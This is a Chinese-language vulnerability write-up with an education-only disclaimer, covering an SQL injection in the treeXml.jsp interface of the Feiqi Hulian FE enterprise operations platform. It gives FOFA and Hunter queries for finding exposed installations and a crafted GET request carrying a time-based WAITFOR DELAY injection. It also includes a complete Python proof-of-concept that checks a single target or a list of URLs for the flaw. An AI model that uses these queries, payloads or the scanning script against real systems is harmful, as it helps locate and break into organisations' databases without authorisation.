聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。
文章目錄
- 漏洞描述
- 漏洞復現
- 測試工具
漏洞描述
飛企互聯-FE企業運營管理平臺是一個基于云計算、智能化、大數據、物聯網、移動互聯網等技術支撐的云工作臺。其treeXml.jsp
接口存在sql注入,惡意攻擊者可能會向數據庫發送構造的惡意SQL查詢語句
漏洞復現
1)信息收集
fofa:app="FE-協作平臺"
hunter:app.name="飛企互聯 FE"||app.name="飛企互聯 FE 6.0+"
無論前方道路多么崎嶇,只要心中有光,腳下就有力量,你定能抵達夢想的彼岸!加油!🌟
2)構造數據包
GET /sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:5'--&type=function HTTP/1.1
Host:ip
代碼解釋:
/sys/treeXml.js%70
: 這看起來像是一個請求的腳本文件路徑,其中%70
是URL編碼,解碼后應該是p
,所以完整的文件路徑是/sys/treeXml.jsp
。;WAITFOR DELAY '0:0:5'--
: 這是SQL Server特有的一個等待命令,它會讓SQL Server等待指定的時間(例子中是5秒)。&type=function
: 這是另一個查詢參數,type
的值是function
。
響應時間延長至5秒,證明命令被執行。
測試工具
poc
#!/usr/bin/env python
# -*- coding: utf-8 -*-# 導入所需的模塊
import http.client
import ssl
import argparse
from urllib.parse import urlparse
import time# 定義顏色代碼,用于終端輸出高亮顯示
RED = '\033[91m'
RESET = '\033[0m'def check_vulnerability(url):try:# 解析URL,獲取協議、域名和路徑parsed_url = urlparse(url)# 構造用于檢測SQL注入漏洞的URL路徑path = parsed_url.path.rstrip('/') + "/sys/treeXml.js%70?menuName=1';WAITFOR+DELAY+'0:0:3'--&type=function"# 根據URL協議創建HTTP或HTTPS連接if parsed_url.scheme == "https":# 忽略SSL證書驗證conn = http.client.HTTPSConnection(parsed_url.netloc, context=ssl._create_unverified_context())else:conn = http.client.HTTPConnection(parsed_url.netloc)# 記錄請求開始時間start_time = time.time()# 發送GET請求conn.request("GET", path)# 獲取響應response = conn.getresponse()# 計算響應時間elapsed_time = time.time() - start_time# 如果響應時間在3到6秒之間,可能存在SQL注入漏洞if 3 < elapsed_time < 6:print(f"{RED}URL [{url}] 可能存在飛企互聯FE企業運營管理平臺 treeXml.jsp SQL注入漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except (http.client.HTTPException, ConnectionResetError) as e:# 打印請求失敗的錯誤信息print(f"URL [{url}] 請求失敗: {e}")except Exception as e:# 打印其他異常的錯誤信息print(f"URL [{url}] 遇到未知錯誤: {e}")def main():# 創建參數解析器parser = argparse.ArgumentParser(description='檢測目標地址是否存在飛企互聯FE企業運營管理平臺 treeXml.jsp SQL注入漏洞')# 添加URL參數parser.add_argument('-u', '--url', help='指定目標地址')# 添加文件參數,用于讀取包含URL列表的文件parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')# 解析命令行參數args = parser.parse_args()# 如果提供了URL參數if args.url:# 如果URL沒有協議頭,添加http協議頭if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.url# 檢測URL是否存在漏洞check_vulnerability(args.url)# 如果提供了文件參數elif args.file:# 讀取文件中的URL列表with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:# 如果URL沒有協議頭,添加http協議頭if not url.startswith("http://") and not url.startswith("https://"):url = "http://" + url# 檢測每個URL是否存在漏洞check_vulnerability(url)if __name__ == '__main__':# 程序入口main()
運行截圖: